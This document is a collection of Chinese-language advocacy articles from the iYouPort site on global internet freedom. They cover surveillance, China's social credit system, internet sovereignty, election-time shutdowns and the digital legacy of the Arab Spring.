然而，该研究警告说 2020 年即将推出有争议的社会信用评分系统的影响 —— 一个大众监视和人工智能计划，根据公民的社会、政治和经济行为给予评分 —— 在中国国内和国际都会产生影响。

在这里看到部分介绍：

- 越来越多的国家已经实现了这种反乌托邦，中国只是其中之一《“社会信用”监视：英国、中国、美国和日本》
- 《胡萝卜比大棒更危险》

据保护记者委员会称，在土耳其，去年有更多的记者被判入狱，而不是其他任何国家。

土耳其政府摧毁了与2016年军事政变失败相关的30多万本书；去年，Pen基金会的一份报告发现，有200家媒体和出版机构被关闭、80名作家受到调查和起诉、超过5,800名学者被118所公立大学解雇。

「图」

「图」

在隐私权方面，柬埔寨、吉布提、肯尼亚、索马里、坦桑尼亚和赞比亚，都陷入了“极端风险”。

被列为“言论自由极端风险”的国家包括吉尔吉斯斯坦、摩洛哥、莫桑比克、巴布亚新几内亚、卡塔尔、乌干达和委内瑞拉。

Verisk Maplecroft 的人权分析师 Sofia Nazalya 表示，特朗普对新闻媒体越来越独裁的立场有可能在其他国家鼓励类似的行为，在那些国家，言论自由和隐私权已成为人们关注的主题。

Nazalya 说：“特朗普和他的反媒体立场所发生的事与我们认为民主国家的领导人应如何采取行动完全矛盾，这确实为其他国家提供了一个危险的先例。”

该报告还强调了中国新疆地区的侵犯人权行为，估计有100万维吾尔族人被关押在拘留中心。

该报告警告跨国公司有污染的服装供应链。中国是世界上最大的棉花生产国，其中四分之三生产在新疆，该行业与强迫劳动有关。

Nazalya表示，寻求清理供应链的公司可能会发现这个过程非常困难。

“对该地区进行标准尽职调查可能会产生问题，因为中国政府很可能会阻止供应链追溯”。〇

Free speech and privacy on the wane across the world

原文

互联网主权的全球崛起：这意味着什么？ - iyouport

互联网自由-Resist

【2019年10月16日存档】控制，如果仅仅理解为自上而下的管制和压制的话，这篇文章没什么问题；不过，如果说到互联网主权的概念，它似乎没能包括进目前为止存在的多种动机形态……

Eduard 的文章从一个角度解释了“互联网主权”为什么会令民主国家和专制国家异口同声地支持，即 控制。

于是他认为这是家长制的态度。当然，这里的控制是贬义的，指的是压制，就如中国所做的那样。

不过对于互联网主权的概念来说，还有一种情况，就如加州的主张，即 摆脱联邦政府不合适的隐私规则所造成的危害。加州签署了自己的隐私法案，类似欧盟的政策。

但是加州没有成功。美国司法部已经起诉了加利独立的网络中立法，认为“只有联邦政府才有权管理州际通信网络”。

不仅于此。互联网主权的概念虽然在某些情况下没有申明，但已经实际上存在很多种形式了。

比如，包括巴基斯坦和俄罗斯在内的至少十几个国家对互联网进行了审查；与此同时，欧盟内部的搜索结果可能与其他地方的搜索结果不同，因为它有被遗忘权法律，而世界各地的网络出版商仍在努力应对今年生效的欧盟隐私法规的影响。

即便在美国国内也不是统一的。

伊利诺伊州有一项生物识别隐私法，该法被用来涵盖 Facebook 和谷歌使用的面部扫描软件；像华盛顿这样的州也通过了网络中立规则，但加利福尼亚州以其规模和规则的全面性，特别是在一起采取时，可

以使其与其他州更明显地区别开来。

中国的GFW是比较极端的案例，但的确不是特殊的。

在监视全球的棱镜计划被曝光后，欧洲努力摆脱硅谷巨头控制的互联网的想法并不会令人惊讶。

互联网自由倡导者担心互联网因此将切割成多个国家级的“ 分裂网 ”。

分裂也许不至于，至少还在较大程度上具有可协调性；比如加州的网络中立法和中国的审查制度就完全不同。

但是无疑，这是个麻烦，因为互联网的优势被毁掉了。

对于中国这种案例来说，他们不仅是希望对国内进行全面的控制，也包括在全球范围内逐渐绘制一个新的权力版图。

今年3月，约有10,000人聚集在莫斯科的 Sakharov Prospect，挥舞着一些标语，上面写着“普京网 Putin Net”，并高呼着“放开互联网！”

这是对一项新立法的民意反馈，该立法推动将俄罗斯的“互联网”从万维网中分离出来，使其自给自足，并宣称这可以防范外部“威胁”。

克里姆林宫的发言人迅速驳斥了抗议者的担忧，他们说这是一种“误解”，并声称互联网自由“不会破坏”。

但是，随后，没过半个月，普京就签署了两项限制在线言论的法律：一项对假新闻处以罚款，另一项禁止“不尊重当局和国家的象征”。

两者都是口袋罪。

换句话说，俄罗斯政府正在加强对互联网的控制。

俄罗斯绝不是唯一这么做的国家。

俄罗斯和一系列不那么民主的国家，如中国、沙特、伊朗等等，都对互联网抱有一定的诡异期望。

一方面，这些国家的当权者想要严格控制哪些信息能流入其境内；另方面在全球范围内，他们希望政府，而不是公司和NGO组织，掌控互联网。

总而言之，他们的目标是试图以国界划分网络空间，因此它们有时被称为“网络主权”原则。

中国是全球网络主权推动的先锋，该国的GFW构建的小世界内克隆了万维网的大部分应用。

2014年，中国互联网沙皇鲁炜撰写了一篇题为“网络主权必须规范全球互联网”的专栏文章。在鲁炜的领导下，中国的网络空间机构还发布了一个备受讽刺的“网络安全”颂歌。

如今有效网络主权的愿景正扩展到新的视野。

自由之家去年11月的报告审查了65个国家，并发现自去年以来有26个国家的互联网自由度明显下降。

与此同时，中国式的“数字威权主义”在影响力不断增强。

而西方民主国家也在越来越多地反映出网络主权的谈话要点。

早期挫折

中国模式并不是一直在上升的。就在六年前，当中国及其盟国试图“接管互联网”时，网络主权的宣称遭遇过重大挫折。

在2012年国际电信联盟会议上，俄罗斯、中国和其他一些国家试图通过一项具有象征意义的决议，这一决议将支持某些网络主权原则，并赋予联合国更大的互联网权力。

但大型科技公司和美国国会发表了强烈谴责的声明，美国和欧洲国家拒绝签署该决议。

如果没有他们的签名，网络主权就无法推动。

如果成功，中国及其数字政策盟友将帮助解决长期困扰专制政权的问题，即 互联网没有固定的管理者。

在权力分配中，网络对民族国家没有特别的尊重；政府与公司、非政府组织、学术界和其他政党一起管理互联网，这种安排严重削弱了各国的影响力。

例如，中国政府已将其令人尴尬的宣传歌曲从互联网上删除，但大量副本仍然在线。这些副本存储在ICANN（国际域名管理组织）注册的

网站上。

如果像中国这样的政府对这个组织拥有权力，他们就可以使这些网站完全消失。对于互联网自由的拥护者来说，这是噩梦一般的场景。

而另一方面，对于网络主权倡导者而言，给予政府对全球互联网的最终发言权是终极目标。

基层主权

在2012年试图将互联网置于联合国控制之下的努力失败之后，网络主权辩论已转向国内政治。

非党派智囊团 New America 最近的一份报告得出的结论是，各国已经意识到，“今天的战斗在于各国应该如何在国内塑造互联网。”

因此，中国不再依赖国际条约，而是开始将其互联网审查制度出口到其他国家，从而自下而上地改变互联网。

根据自由之家的说法，至少有36个政府接受了关于“新媒体和信息管理”的闭门中国培训。

其中包括约旦、埃及、沙特阿拉伯和越南。

这些培训的内容未知，但在2017年越南官员接受培训后，越南政府于2018年通过了中国式的网络立法。

还有证据表明，一些国家，如乌干达，使用中国制造的软件来监控其本地互联网，表面上是为了打击犯罪。

这种传递模仿有助于使中国的专制互联网方法合法化，巩固其治理模式。

New America 网络安全分析师罗伯特·莫格斯（Robert Morgus）表示，“新的国际意识形态斗争是威权主义与自由民主之间的斗争”，他将中国的网络管制模式出口定义为软实力。

“传播互联网专制模式将有助于传播专制政治手段”。

正如中国在很大程度上培养和装备发展中国家一样，越来越多的迹象表明，西方民主国家也正在变得对互联网控制充满兴趣。

New America 的报告载有的数据显示，在过去几年中，曾经具有开放式互联网思维和较少政府干预的国家如今已开始向“更加国家主义和更封闭的互联网方式”迈进。

这就是分析师所指出的：中国和俄罗斯式的偏执已经在西方产生了共鸣。

“Cyber 9/11”

网络政策专家 Alexander Klimburg 在其2017年出版的“The Darkening Web”一书中写道，“将信息定义为武器的能力，是网络主权倡导者的最终目标”。

因为如果信息是武器，那么审查就是国家安全的合法问题。

作为“俄罗斯干涉2016年美国大选”调查的副作用，这项努力大部分取得了成功。

在西方精英中，数字信息战现在是一个热门话题，也是一个明显的威胁。

当希拉里克林顿在2016年将俄罗斯黑客行为称为“Cyber9/11”时，或当罗伯特·穆勒开始起诉俄罗斯公民涉嫌 trolling 时，这一点就很明显了。

在这种氛围中，一些西方民主国家和专制国家一样，在努力寻求更多的控制权。

在巴黎举行的2018年互联网治理政府间论坛上，这是一个普遍尊重政府在互联网中作用有限的机构，法国总统马克龙（他在竞选活动的最后几天电子邮件遭到黑客攻击）称网络空间是一个危险的领域。

“今天的互联网会更好地被极端人士使用，”马克龙在一屋子人面前说道，“相比其他任何内容，互联网更多地被用于仇恨言论或传播恐怖主义内容。”

然后，他要求政府主导打击互联网上“最糟糕的趋势”。

互联网治理专家 Badiei 参加了那场巴黎会议，他表示房间里的许多人都对 Macron 的言论感到震惊。

“如果这些话是由一个压迫性政权的领导人说出来的，那么人们就会

直接拉门走出去”，她说。

可惜不是。而是“关于一个民主国家的总统坚持认为互联网应受到监管，提供的是与压迫政权极为相似的理由”。

乔治亚理工学院的公共政策教授 Hans Klein 参加了法国的会议和在中国举办的国家赞助的乌镇互联网会议。他也指出，这两次会议都指出了“需要更多国家控制”的对互联网“相似的担忧”。

这并不是说马克龙已经和中国穿一条裤子了。计算机科学教授兼互联网治理专家 Kieron O’Hara 表示，西方民主国家只是在“共同的恐惧”中与中国和俄罗斯融合了。

这导致了对诸如“专制互联网”模型之类的想法异口同声。

事实上，“专制互联网”甚至不是最好的能描述这件事的名字。也许“家长式互联网”更合适一些，当然，“家长作风”吸引了所有人。

即 以“我为你好”为由剥夺个人意志，从而满足的仅仅是操纵者本人的优越感。〇

原文

反监视 - 城市民主的崛起 - iYouPort

互联网自由-Resist

越来越多的城市正在加入对警察监视技术使用的控制...

马萨诸塞州剑桥市成为了第十个加入这一联盟的地方管辖区，该联盟采取了一项关键措施，使公民能够在地方一级控制警察对监控技术的使用。该措施要求当地警察在购买监视设备之前获得民事许可，记录任何此类购买的理由和相关隐私影响，并遵守年度审计，以揭示可能的滥用或过度使用。

市议会的一致投票使得剑桥成为东海岸第二个通过改革的司法管辖区，以及附近的萨默维尔（其市长去年通过行政命令实现了改革）。采取类似措施的其他地区包括旧金山湾区的几个城市和区域机构（奥克兰，伯克利，戴维斯，帕洛阿尔托和加利福尼亚州圣克拉拉，以及湾区快速交通系统委员会）还有华盛顿州西雅图市、和田纳西州纳什维尔。

在这些地区，社区活动家们组织起来敦促当地民选官员采取行动。在剑桥，当地的支持者包括Digital Fourth，一个隶属于 Restore the Fourth 网络的草根组织，以及电子前沿联盟。据组织者 Alex Marthews 说，“我们的志愿者……在这项活动中已经工作了两年，我们对结果感到满意。我们希望看到更多强大的法令在马萨诸塞州的其他城镇通过。“

随着执法监视技术在全国范围内的扩展，它对民主透明度、制衡、隐私、长期易受执法滥用的社区、和言论自由，均构成了越来越大的威胁。EFF表示很高兴有如此多的司法管辖区作出了民主化的回应，并且仍然渴望与全国各地的基层组织者和政策制定者合作，支持他们在新的一年加入反老大哥联盟。

Cambridge, MA Joins Growing Ranks of Cities Requiring Civilian Control of Police Surveillance Tech. As law enforcement surveillance technology expands across the country, it poses mounting threats to democratic transparency, checks and balances,

privacy, communities long vulnerable to law enforcement abuses, and free speech. We're excited that so many jurisdictions have responded by requiring local civilian control, and remain eager to work with grassroots organizers and policymakers around the country to support more joining them in the new year.

原文

只有选票从来都不够，监视和审查正危机民主 —— 选举季最先迎来的是网络封锁 - iYouPort

互联网自由-Resist

互联网关闭在任何地方都是侵犯人权的行为，并且在暴力和动乱时期这种行为特别危险

「图」

「图」

世界各国正在为 2018 年的选举旺季做好准备，而言论自由的倡导者也同样准备着 ⚠对抗与选举相关的审查制度不断上升的“潮流”。就在本周，马里关闭了社交媒体平台，此前警方和反对派发生冲突，抗议者要求在7月29日举行的总统选举中实行透明度和问责制。然而结果却是社交媒体被封。

包括欧盟和联合国在内的国际行为体呼吁马里政府在即将到来的选举之前和期间尊重言论自由。自从 2015 年在首都发生酒店爆炸事件以来，马里人民一直生活在政府强加的所谓“紧急状态”下，各民族之间以及边境地区的伊斯兰武装分子之间的冲突，使社会陷入动荡。

互联网关闭在任何地方都是侵犯人权的行为，并且在暴力和动乱时期这种行为特别危险。人们依靠互联网与亲人沟通并获得应急服务。分享和获取信息以及记录选举过程中侵犯人权或违规行为的能力是健康民主的基础。互联网服务的中断给小企业带来了沉重的代价，加剧了马里的经济困难。

电信部门允许阻止巴基斯坦的反对派网站

巴基斯坦也在为7月25日的大选做准备。但是，政府机构的直接审查以及媒体在对选举感兴趣的军事官员压力下的自我审查，都在激发人们在选举日前提出对言论自由和获取信息自由的严重关切。

6月3日，反对派组织 Awami 工人党报告说，其网站已被阻止，巴基斯坦所有观众无法观看。截至6月6日，大多数互联网服务提供商的访问已恢复，但在某些移动网络上仍无法使用。网站上被贴出了“安全上网”以示屏蔽信息，其内容表明，巴基斯坦电信管理局（PTA）已下令删除该网站。

阻止网站的原因尚不清楚。 Awami 工人党在致巴基斯坦选举委员会的一封信中指出，这种封锁违反了结社自由和言论自由的基本权利。工人党还指出，他们没有收到有关网站封锁或阻止原因的任何通知。

巴基斯坦电子通信管理法 – 2016 年电子犯罪预防法 – 规定，如果调查机构认为必要时就可以阻止内容，以“为伊斯兰的荣耀或完整、安全或防御……公共秩序、体面或道德……或涉及……犯罪或煽动犯罪……“

这些过于宽泛和模糊的标准使得法律可能会被滥用以禁止一切批评政权的声音。国际权利组织呼吁，当局必须遵守严格解释的狭义标准以及正当程序。

由于互联网被关闭、内容被删除和其他形式的针对独立媒体和政治反对派的审查制度有着悠久的历史，所以在即将举行的选举之前，所有人都必须保持警惕，监督巴基斯坦通信网络的健康状况，并支持那些正在被沉默的声音。

为即将到来的事情做准备

除了马里和巴基斯坦提供的这些报告外，现在 IFF 的数字安全热线已经在今年早些时候的选举之前观察到了很多对言论自由和获取信息的攻击，包括阿塞拜疆主要媒体的账号被骇客侵入，对马来西亚的激进活动家和反对党主要人物进行的 DDOS 攻击。

从柬埔寨到巴西到刚果民主共和国，面对压制、腐败和虚假信息，人们将在整个 2018 年的选举季节继续更加努力地捍卫其民主进程的完整性。#KeepItOn 联盟 – 一个由 160 多个民间社会组织组成的全球网络 – 致力于终止互联网封锁行为 – 已经准备好了支持这些努力。

我们鼓励政府通过承诺在全球互联网上保持自由和开放的访问权限 – 简言之，就是在选举期间 #KeepItOn – 表达自由。

因此，我们欢迎津巴布韦内阁成员保证在选举期间不干涉互联网连接、制裁非法监测公民私人通信的行为。其他在这个关键时期有可能

关闭互联网或进行其他形式审查的国家政府官员，应立刻公开申明将继续允许互联网通畅，并以其他方式维护言论自由的基本权利。〇

原文

在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来” - iYouPort

互联网自由-Resist

FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）这个美中均分的布局事实上已经做出了判断：最终能对去中心化做出有效支持的人很可能在欧洲。

「图」

「图」

如果你去健身房锻炼时发布的社交媒体帖子被“打分”，以此来决定你可以拥有哪种质量的住房，你会是什么样的感受？如果你探访祖母的次数被打分，计入“隔代公民义务”评估，以此来决定你是不是能找到工作及是否能享受社会福利，你觉得什么样？再或者更实际一点，你过马路没看红灯，几秒钟后你的大头照就出现在了街边最大号的显示屏上，上面还有你的名字和各种身份信息……请说说你的心情？

听着就吓人对吧？但这就是中国正在发生的事 —— 利用电话数据、社交媒体帖子和闭路电视摄像机进行大规模监控的世界。

对于西方社会的敏感性来说，这样的老大哥方法似乎是不可想象的。但实际上，中国这种情况下的文化规范与我们在美国所看到的文化规范没有任何不同。在那里，基本信念 即最好的结果将取决于个人的至关重要的决策。美国社会重视个人主义。

因此，鼓励企业考虑个人的口味，根据过去已存储、重新格式化和货币化的个人行为，创建所谓的个性化产品。在这个版本的互联网经济中没有正确的方法来使用数据，但假设市场会奖励那些做得最好的公司，个人消费者最终会决定哪些公司获胜，哪些公司失败。

- 延伸阅读：《 超个人主义（自我中心主义）时代的盲目和焦虑 》
- 《 百忧解时代（二）数字世界里焦躁的“新”人类 》

这在美国和中国的前景之间形成了鲜明的对比，说明了我们正处在一个互联网的三岔路口上。互联网是没有国界的，然而在一个前景如此不同的世界里，它如何运作？

三个方向

从本质上讲，我们在美国、中国和欧洲三大主要经济体中拥有截然不同的价值体系。

在美国，权力最重要的是，在获得改变现实的许可（“can”）之前，有可能采取行动（“may”），’是的，我们可以。’世界上任何地方都没有更纯粹或更成功的选择权力的体现，经济参与者的行动自然地由个人利益引导，有助于所有人的财富和福祉。然而，从数字技术的角度来看，其影响就在于：放弃个人数据以获得更多的选择自由，以为持续的使用其服务。

事实上这也是如今在中国所发生的事。中国社会大多数人都明白隐私是什么，但也有相当多的人为了“便捷和免费”的享受，在自愿放弃自己的人权。也是为什么我们上面的“延伸阅读”关联了那两篇文章，它们足够能帮您理解中国和美国在社交媒体激发的超个人主义时代是如何的相似。

请注意，社交媒体时代激发超个人主义是真实的，但对美国来说，超个人主义可不是新闻。如果您还记得两个世纪前 Alexis de Tocqueville 在他的“美国民主”一书中的经典论述，就能明白，集中化物质主义的互联网就是美国的体现。

几个世纪以来，中国的社会历史已经走向了一个非常不同的方向，如今每个人都在受到审查。几年内已推出的中国社会信用体系是给一个个人声誉“评级”的体系，这东西彻底强化了中国的这种权力观念。它被作为保证社会“稳定”的一种方式，并依赖于大规模监视工具（涉及电话公司、社交媒体帖子、监控摄像头），还结合了人脸识别、大数据技术，甚至群众斗群众。

这种“社会信用评级”比其美国同行要强大得多 – 美国的信用记录仅基于居民的金融活动，评级、喜欢和评论仅附属于人物角色和头像，而不是现实世界中的身份。中国的集体主义社会信用是“档案”的衍生物，是毛泽东时代的个人档案表现和态度之体系的延伸。此外，它还是一个千里眼顺风耳，任何人都可以在不知不觉中被监视。

延伸阅读：《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱

这种强制性监视 》

中国政府所体现的绝对秩序是建立在要求人们自律和严格遵守规范的基础之上的，这些规范是通过技术来实现的。隐私 – 人权 在中国变成了一个人可以为所谓的“国家统一和人民福祉”作出的贡献。

欧洲通过赋予其公民权力并将个人数据保护置于企业和机构的利益之上，与美国和中国走了截然不同的路径。GDPR 法案可以说是这一想法的初步体现。虽然它非常不完备，并且某些时候还起到了相反的效果。见以下三条消息。

- 延伸阅读：《 为什么说欧洲新法规反而会加强 Facebook 和 Google 的霸权？ 》

欧洲在赋予公民权利的所有法律武器库中，被遗忘权（删除特定实体收集的所有数据）和可携带权，显得尤为突出。相比下在美国，如果你遭到了恶意诽谤，想要删除网络上关于你的假消息，你需要支付一大笔钱。就如这个故事中所讲述的《 当一个陌生人想要毁掉你的生活……来自社交媒体时代特有的威胁 》相关维权非常艰难。但是，被遗忘权也会被当权者滥用来掩埋真相，而相关调查很难阻止这种事的发生。

但欧洲的存在无疑是对中美的高堡奇人局势形成了一个正面冲击。全球互联网巨头（ FATBAG ）垄断力量的负面影响也在欧洲政府和监管机构之间以一种可能早就应该存在的方式展开了公开争论。

欧洲是民主和资本主义的熔炉，似乎比美国和中国更了解需要为机构和企业如何使用其公民的数据设定界限。太早就不说了，至少在近期的剑桥分析公司丑闻中人们已经足够能理解到这一危机：数字公司可以利用媒体、电子商务和个人行为分析数据的组合，来控制人们的认知，进而控制人们的选择行为、公民的政治决策。这就是我们在《 定制人将终结民主 》中的主题论点。它不是“初步显现”，正相反已经是根深蒂固的威胁。

新答案

新的“互联网”正在诞生。Tim Berners-Lee 宣布了新的开源去中心化平台 Solid 。Solid 设计让用户能控制他们在 Web 上产生的数据和内容，能选择数据如何被使用。你的所有数据都控制在自己手中，可以自由的添加或删除数据，授予权限给他人或应用来读取或写入部分 Solid POD 数据，不需要同步，因为你的数据一直伴随着你。这个平

台需要开发者支持才能真正产生效果，很难想象 FATBAG 那种中心化的平台会支持这个无法控制数据的去中心化平台。

FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）这个美中均分的布局事实上已经做出了判断：最终能对去中心化做出有效支持的人很可能在欧洲。

虽然目前还不好说美国巨头将如何挤压 Solid、中国的大防火墙将如何屏蔽 Solid，但至少人们有了新的选择，只要消费者能意识到去中心化对民主的重要性，来自中美的封锁和挤压都将失去效力。〇

原文

对于许多人来说，阿拉伯之春还没有结束 - iYouPort

互联网自由-Resist

虽然通常被称为阿拉伯之春的抗议运动可能已经结束，但是，对许多人来说，这场斗争从未结束

「图」

「图」

【按】当谈及当下越来越苛刻和令人毛骨悚然的互联网审查和监视技术时，很多人会引述10年前的阿拉伯之春，以试图说明 “那时候的互联网多好啊，是互联网促成了民主变革”。然而，事实上并非如此。阿拉伯之春的活动家和今天的异议人士们一样，最初也是被这些寡头公司平台封锁的目标。

状况只是愈演愈烈，在技术进步的推动下，互联网专制随之 “进步”。

拜登新政府的所谓 “国内反恐战争” 意味着监视和审查的大爆发，在其登基同时就引领了一场舆论轰动，在这里回顾当时《极少数人对多数人的嘴巴所做的事, 不会让您获得幸免》。此时恰逢阿拉伯之春10周年纪念日，对监视和审查的思考必需从看清历史开始。

我们很早以前就推荐过这本书，讲述这个集中化的互联网的起源 —— 它本身就是一个监视项目，见《互联网究竟是什么？—— 来自“监视谷”惊人的启示》；这意味着人权运动不该停留在要求 “寡头公司做得更好” 这一肤浅的层面上，而是彻底地去中心化，废除垄断。

这将是拜登时代最引人注目的权力运动之一。

♦□♦□♦□

整整十年前，埃及人走上街头，推翻了一位执政近三十年的独裁者。1月25日仍然是 “阿拉伯之春 “最重要的日子之一，当时，一系列由平

民领导的大规模抗议和起义在中东和北非蔓延。整个地区的人民利用社交媒体和其他数字技术来传播信息和扩大组织规模，要求结束困扰其社会的腐败和专制统治。

十年后，这场动荡的后果是各国走向了不同的方向。当突尼斯立即废除了其根深蒂固的互联网审查制度，并向民主迈进时，该地区的其他国家 —— 如埃及、沙特和巴林 —— 则实施了越来越多的审查和监控工具。从"使用西方制造的间谍软件针"对持不同政见者，到"与美国社交媒体公司勾结"以审查新闻和言论，科技公司曾经表达的希望已经被玩世不恭的"非道德暴利"所覆盖。

- 《中美 1984 在海湾的黑手》
- 《中东君主制如何雇佣美国战士以杀死其政敌?—这大概就是战争未来的样子》

当人们考虑最近几个月来寡头社交媒体平台和网络平台在美国发挥的作用时，应该还能记得十年前发生的事，关于这些民主运动当时是如此在社交媒体上组织起来的。拜登政府要求加强所谓的 “国内” 反恐法律的呼声和其他许多专制国家在动荡后通过的短视的 “网络犯罪和反恐法律” 之间极为相似。今天，各国政府都在利用新的、危险的技术，如生物识别监控来抓捕抗议者和异议人士，历史必须提醒人们，在过去十年中，许多中东和北非国家也都发展了广泛的监控制度。

但最重要的是，必须记住，十年后，尽管有挫折，但2011年开始的许多工作仍在进行中。

阿拉伯之春并不是 “社交媒体革命”

长期以来，许多国家政府都将社交媒体视为一种潜在的威胁。在这个新千年的早期，全球各国政权都在进行各种各样的审查，甚至是对平台本身，包括对整个互联网接入的全盘限制。

随着社交媒体使用的加速，各国政府纷纷采取行动。2006年泰国封杀了 YouTube；2007年叙利亚封杀了 Facebook；从土耳其到突尼斯再到伊朗等国家纷纷效仿。几年内，科技公司就接到了政府大量的请求，要求阻止越来越多用户的访问，或者删除特定的内容。大多数情况下，这些公司都同意了，尽管有些公司，比如Twitter，直到很久以后才这么做。

- 在列表-2中看到具体介绍，“关于Facebook”、“关于Twitter”、“关于谷歌”

2010年，一张被埃及警方残忍杀害的 Khaleed Saeed 的尸体照片开始在 Facebook 上传播。假名的活动家组织者创建了一个追悼赛义德的页面，迅速聚集了众多的追随者，并成为现在著名的1月25日抗议活动首次被呼吁的地方。

但是，尽管 **Facebook** 此后很乐意为其在那场起义中扮演的角色邀功，但该公司实际上在两个月前就封锁了那个活动家页面，声称其管理员违反了该平台的 “实名制” 政策—— 在盟友介入帮助后才将其恢复。

那个时代的另一个标志性事件发生在照片分享平台 Flickr 上，当时 **Flickr** 删除了开罗活动家在革命后几天占领穆巴拉克办公室的图片。记者 Hossam Hamalawy 对该公司的审查提出抗议，据称该决定是根据所谓的 “虚假版权要求” 作出的，这引起了民间社会对 Flickr 的决定是否适当的辩论。

克服审查制度，为埃及的言论自由而战

由于该地区的政府试图阻止抗议活动的影响，并最大限度地减少政治异议在社交媒体上的传播，异议人士经常被监禁，包括博客作者。但这些异议人士中许多人只是因为在网上表达自己的观点而被指控。尤其引人关注的是 Maikel Nabil Sanad 和 Ayman Youssef Mansour 的案件，他们是穆巴拉克后的埃及第一位和第二位因在线表达而被判刑的博客作者。

穆巴拉克政权曾利用所谓的紧急状态法压制异议声音，军方则随意封锁博客。Sanad 因指控军方对女性抗议者进行贞操测试（这是后来被证明的事实），被军事法庭判处三年监禁。

Mansour 被民事法庭审判，并被认定为 “蔑视宗教”，这是《刑法》第98(f)条规定的罪行。他的 “罪行” 只是在 Facebook 上拿伊斯兰教开玩笑。

人权组织直到今天一直在呼吁释放被现政权逮捕和监禁的埃及活动家。阿拉·阿布德·埃尔-法塔赫（Alaa Abd El Fattah）曾被包括革命期间在内的每一位埃及国家元首逮捕（最终获释），以及妇女权利活动家阿玛尔·法希（Amal Fathy），这只是其中两位比较著名的批评者，就是这个互联网使他们失去了自由。

「图」

「图」

开罗壁画 Alaa Abd El Fattah

突尼斯一家互联网机构成为黑客空间

阿拉伯之春对突尼斯的持久影响是显著的。在本阿里政权统治下的突尼斯人的数字权利受到严重限制，包括封锁网站和监视公民。2011年，在“茉莉花革命”中，本·阿里在逃往沙特之前，在1月13日的最后一次演讲中承诺“言论自由”。

这给突尼斯互联网机构（Agence Tunisienne d’Internet，简称ATI）造成了两难的境地，它既要执行审查令，又要论证“支持言论自由”。2012年，突尼斯最高法院裁定审查令无效，ATI总部（原为本·阿里及其政权的审查和监控技术的私人住宅）成为突尼斯人创新的黑客空间#404labs。此后该空间还举办了自由在线联盟和阿拉伯博客会议等活动。

「图」

「图」

突尼斯现任运输部长，突尼斯互联网管理局前首席执行官Moez Chakchouk

政府间谍

2011年，随着抗议活动在叙利亚各地蔓延，博客作者和程序员经常成为巴沙尔·阿萨德政权威胁、攻击和拘留的目标。虽然这种骚扰是公开的，但网络空间也潜藏着秘密的危险：叙利亚政府在封锁 Facebook 等各种网站多年后，又通过恶意软件和对 Facebook 进行“中间人”攻击，暗中监视全国各地的在线的反抗活动和通信。在“阿拉伯之春”之前，监控的程度并不为人所知。

大约在同一时间，在突尼斯，有关 Facebook 网页被黑客攻击的报道让该公司的安全团队感到震惊，该国的互联网服务供应商基本上记录并窃取了全国所有登录 Facebook 网站的用户密码。据推测，这些信息随后被提供给了本·阿里政权，以便从该网站上删除抗议相关的内容页面。

- 如今的政府间谍手段只是更高级了《大规模网络钓鱼、监视和

在线攻击成为活动家不得不面对的危险》；我们有“政府的间谍行为”专栏，您可以看到他们的手段是多么丰富

在“阿拉伯之春”期间和之后，人们对间谍活动细节的认识不仅有助于保护反抗活动家免受政府的侵害，还促使了人们更积极地采用更安全、更有保障的在线通信方式—— 这对所有希望免于被监视的人都有好处。

今天的区域问题反映了什么变化，什么损失

阿拉伯之春是网上自由表达的一个转折点。在整个区域，人们为数字权利而战，在某些情况下，人们第一次争取到了数字权利。从巴基斯坦、叙利亚到伊朗和埃及，由于安全的通信和不受审查的社交媒体平台的普及，居民们捍卫和改善了自己的人权。

但即使在新技术协助革命的同时，美国的寡头科技公司仍然继续协助那些专制政府对批评者进行噤声和监视。

- 《政府的压力将透明度报告从言论自由的庆典变成了审查的庆典》

今年早些时候，一群活动家、记者和人权组织向 Facebook、Twitter 和 YouTube 发出了一封公开信，要求这些公司停止压制来自中东和北非的异议人士声音。信中指出，整个中东和北非的关键活动家和记者继续在这些美国寡头平台上受到审查，有时是在其他政府的要求下，信中敦促这些公司“停止在审查和抹杀被压迫社区的叙述和历史方面的共谋行为”，并提出了若干重要要求。

信中特别敦促这些公司：

- 与当地用户、活动家、人权专家、学术界和民间社会接触；
- 投资于当地和区域的专业知识，以制定和实施基于背景的“内容节制”决定；
- 特别关注来自战争和冲突地区的案件，以确保内容审核决定不会不公平地针对边缘化社区；
- 保留与战争和冲突地区引起的案件有关的限制性内容；
- 根据《圣克拉拉原则》，在删除和撤销账户时提供更大的透明度和通知，并为用户提供有意义和及时的投诉途径。

【注：圣克拉拉原则指出，互联网公司应当提供必要的程序，既对内容发布者施加影响，同时确保公司内容管制指引的执行是公正、公

平、无偏见以及尊重用户权利的。 这些原则作为一个起点，划定了内容管制在透明性和责任力方面应达到的最低标准，未来它们还可以作为该议题领域内更多深度对话的基础。】

阿拉伯之春似乎提出了一个难题。随着世界各地越来越多的政府在此后的日子里转向了专制主义，寡头互联网平台更多只是促成了镇压。

但是，活动家和公民利用社交媒体推动政治变革和社会正义的遗产还在继续。

今天，比以往任何时候都有更多的人明白，数字权利本身就是人权。但就像所有的权利一样，它们必须得到捍卫、争取和保护，以抵御那些无限地垄断权力的人 —— 无论他们是领导政府还是科技公司。

几年前，叙利亚开源开发者、黑客空间创始人 Bassel Safadi Khartabil 写道：“代码不仅仅是工具，它是一种教育，能让年轻人开阔眼界，能打开年轻人的心智，推动国家前进。谁能阻止这一切？没有任何人可以。”

2015年，在经历了几年未经审判的监禁后，Bassel 被叙利亚政府处决。人们深深地怀念他，还有很多很多在争取基本权利和自由的斗争中被杀害的人。

虽然通常被称为阿拉伯之春的抗议运动可能已经结束，但是，对许多人来说，这场斗争从未结束。我们希望，总有一天它会结束。〇

For Many, the Arab Spring Isn’t Over

原文

平衡“执法需求”和人权维护真的可能吗？ - iYouPort

互联网自由-Resist

对于全世界的政府而言，公众的加密安全与政府需求的监视之间永远都是矛盾的。官员们正在向技术公司和应用程序开发商施加压力，这些公司和应用程序开发商提供端到端加密服务，他们被要求为警察部队提供破解加密的途径。

然而，当你向这些服务提供后门的那一刻，你正在创造一个弱点，不仅警察和政府可以使用，任何威胁行为者都可以使用，并且破坏加密整体的安全性。

随着美国国家安全局的大规模监视和数据收集活动成为头条新闻，对政府的信心及其对真正的犯罪案件进行间谍活动的能力开始迅速减弱。

现在，加密和安全通信渠道的使用越来越受欢迎，技术公司正抵制在加密协议中植入刻意弱点的努力，双方都不愿意让步。

那么在这种情况下可以做点什么？也许从一开始，就必须付出一些代价。

